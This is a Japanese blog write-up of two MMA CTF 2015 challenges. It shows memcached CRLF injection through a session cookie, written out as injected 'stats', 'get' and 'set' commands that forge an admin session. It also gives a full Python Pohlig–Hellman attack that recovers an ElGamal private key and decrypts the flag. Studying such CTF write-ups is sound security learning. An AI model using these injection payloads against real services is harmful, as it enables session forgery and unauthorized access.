MMA CTF 1st 2015 Write-up 2

ありがたいことに、終了後も問題が生きているので、他の人の解答などを見ながら解いた。 ブログに書いておくと、他のコンテスト中に「kusano_k ○○」で出てきて便利。 他人の説明よりは、自分の説明のほうが自分には理解しやすい。

Login As Admin!(2)

mage ctf writeup: MMA CTF 1st 2015

memcachedインジェクション。 分かってしまえばそんなに難しくないのに、SQLインジェクションよりはるかに正解者が少ない。 色々試すときには改行も試すようにしよう。

ログインして、Cookieのセッションに%0d%0aを入れるとエラー画面になる。memcachedだとあたりを付けたら、Cookie%0d%0astats itemsに書き換えると、保存されているアイテムの一覧が見られる。

STAT items:1:number 3
STAT items:1:age 101173
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 2
STAT items:1:expired_unfetched 1
STAT items:1:evicted_unfetched 0
STAT items:3:number 26485
STAT items:3:age 285562
STAT items:3:evicted 0
STAT items:3:evicted_nonzero 0
STAT items:3:evicted_time 0
STAT items:3:outofmemory 0
STAT items:3:tailrepairs 0
STAT items:3:reclaimed 516
STAT items:3:expired_unfetched 516
STAT items:3:evicted_unfetched 0

memcachedを良く知らないけど、保存されているキーはitemsに分類されて保存されるらしい。キーの一覧を見るコマンドは、stats dumpcache 【アイテムの番号】 【個数】%0d%0astats dumpcache 3 26485とすると一覧が表示される。19 bは値のバイト数らしい。

 :
ITEM 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703b [19 b; 1441722497 s]
ITEM f8fa793264a559b109fe0b97a1280806acf6aadaf3017ea5c667a6c174db742d [19 b; 1441722538 s]
ITEM 152c55551e38f74aa13373ef52423e69637b93a56ee45e47bcd6232056e64162 [19 b; 1441722764 s]
ITEM 054ff36eab83bad15aef0d606ecd88145353a62be3ac7bd6a5bcb874463bb559 [19 b; 1441643268 s]
 :

キーの中身を見るのは、gets 【キー名】%0d%0aget 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703bで、

VALUE 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 19
{"username":"test"}

adminで1文字増えるから、adminのキーは20バイトだろうと、20バイトのキーをCookieに設定してみたけど、なぜかダメだった。ならば自分のキーに値を書き込めば良い。%0d%0aset 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 0 20%0d%0a{"username":"admin"}を実行すると、STOREDと表示され、そのCookie05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1dに戻せば良い。3個の数字はそれぞれ、圧縮するか、有効期限、データサイズ。

MMA{61016d84e70e0b5ed5c03e4e398c3571}

Alicegame

どうやたらこんな思考が降ってくるんだ……。

x秘密鍵として、h=g^xを使って、(c1=g^r mod p, c2=m h^r mod p)を返してくる暗号サーバー。最初の10回は、rmも指定できる。最後にフラグが書かれたmを乱数rで暗号化して送ってくる。

r=1, m=1とすると、c1gとなり、c2hとなる。pは201ビットの素数なので、r=0, m=2^201を投げると、c2=m mod pなので、p=2^201-mとしてpが分かる。p以上のmが通らない場合は、r=1, 2, 3を投げて、p=gcd(g^2 - (g^2 mod p), g^3 - (g^3 mod p))と求めれば良いらしい。

離散対数問題なんて無理だと思っていたけど、場合によっては解けるらしい。Pohlig–Hellman algorithmこのスライドが分かりやすい。

g^xxに対して周期的になる。周期はp-1p-1が素因数q1, q2, q3, …を持っているとすると、aを整数、x1q1未満の整数として、y=g^(a q1+x1)と書ける。両辺を(p-1)/q1乗すると、y^(p-1)/q1=g^(a (p-1)+x1(p-1)/q1)=g^(x1(p-1)/q1)y1=y^(p-1)/q1, g1=g^(p-1)/q1とすれば、y1=g1^x1。離散対数の問題のままだが、x1q1未満の整数なので、q1が1014程度なら、Baby-step giant-stepアルゴリズムで解ける。このアルゴリズムは半分全列挙のようなもの。O(2^(n/2))

x=x1 mod q1, x=x2 mod q2, …を満たす、x1, x2, …が手に入ったので、あとは中国の剰余定理xが求められる。

ElGamal暗号を使うときは、主催者のMMAのブログにあるように、q素数として2q+1と表せる素数安全素数)を使うべきらしい。

# coding: utf-8

from socket import *
import time
import os
from Crypto.Util.number import *

def get_param():
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(("cry1.chal.mmactf.link", 39985))

    s.send(
        "1\n"+
        "1\n"+
        str(2**201)+"\n"+
        "0\n"+
        "q\n")
    
    time.sleep(1)
    r = [eval(l[l.index("(")-1:]) for l in s.recv(1000).split("\n")[1:-1]]

    g = r[0][0]
    h = r[0][1]
    p = 2**201 - r[1][1]
    gr = r[2][0]
    mhr = r[2][1]

    print "g =", g
    print "h =", h
    print "p =", p
    print "gr =", gr
    print "mhr =", mhr

    os.system("msieve152.exe -q %s"%(p-1))

# get_param()

"""
p1: 2
p1: 3
p1: 7
p3: 281
p6: 585131
p7: 2283091
p8: 66558319
prp11: 38812459031
prp13: 8407411055293
prp13: 8899182573469

g = 1828219035112142373387222893932751631772945852477987101590090
h = 1012750243445446249248731524345776923711031192963358920130436
p = 3047318456124223787871095946374791137939076290647203431778747
gr = 1851635883910479967256646617880733235123029676545812189105888
mhr = 2279140729739532482438192630521498934347693926502811537441460
"""

g = 1828219035112142373387222893932751631772945852477987101590090
h = 1012750243445446249248731524345776923711031192963358920130436
p = 3047318456124223787871095946374791137939076290647203431778747
gr = 1851635883910479967256646617880733235123029676545812189105888
mhr = 2279140729739532482438192630521498934347693926502811537441460
Q = [2, 3, 7, 281, 585131, 2283091, 66558319, 38812459031, 8407411055293, 8899182573469]

# 離散対数(Baby-step giant-step)
# y = g^x mod p
# qはgの位数
def log(g, y, p, q):
    m = int(q**0.5+1)
    T = {}
    t = 1
    for j in range(m):
        T[t] = j
        t = t*g%p
    gm = pow(pow(g, p-2, p), m, p)
    t = y
    for i in range(m):
        if t in T:
            return i*m+T[t]
        t = t*gm%p
    return -1

X = []
for q in Q:
    x = log(pow(g,(p-1)/q,p), pow(h,(p-1)/q,p), p, q)
    print q, x
    X += [x]
print "X =", X

# 拡張ユークリッドの互除法
# mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す
def exgcd(m, n):
    if n>0:
        y,x,d = exgcd(n, m%n)
        return x, y-m/n*x, d
    else:
        return 1, 0, m

# 中国の剰余定理
def chinese(A, M):
    n = len(A)
    r = 0
    P = reduce(lambda x,y: x*y, M, 1)
    for i in range(n):
        x,y,d = exgcd(M[i], P/M[i])
        r += y*(P/M[i])*A[i]
    return r%P

x = chinese(X, Q)
print "x =", x

print pow(g, x, p)
print h

m = mhr * pow(pow(gr, x, p), p-2, p)%p
print "m = %x"%m

print long_to_bytes(m)
MMA{wrOng_wr0ng_ElGamal}